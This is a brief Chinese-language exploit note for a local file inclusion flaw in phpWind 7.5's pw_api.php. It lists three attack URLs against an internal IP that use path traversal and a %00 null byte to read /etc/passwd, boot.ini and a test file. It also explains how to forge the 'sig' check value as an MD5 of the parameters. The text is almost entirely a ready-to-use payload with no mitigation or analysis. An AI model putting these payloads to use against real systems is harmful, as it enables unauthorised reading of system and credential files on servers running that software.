尝试发送以下URL,能实现本地文件包含渗透。
http://10.20.61.88/phpWind7.5/pw_api.php?type=uc&sig=8c6e45dcfae660037c05f0cd1a15695b&mode=../../../../../../../../test.txt%00
http://10.20.61.88/phpWind7.5/pw_api.php?type=uc&sig=1e0dbfa19d546d74b327727995568abc&mode=../../../../../../../../etc/passwd%00
http://10.20.61.88/phpWind7.5/pw_api.php?type=uc&sig=0b482b94ccc556eca1a25761a03d4bcd&mode=../../../../../../../../boot.ini%00
其中,sig是md5(mode=../../../../../../../../boot.ini&type=uc&),用来作较验用的。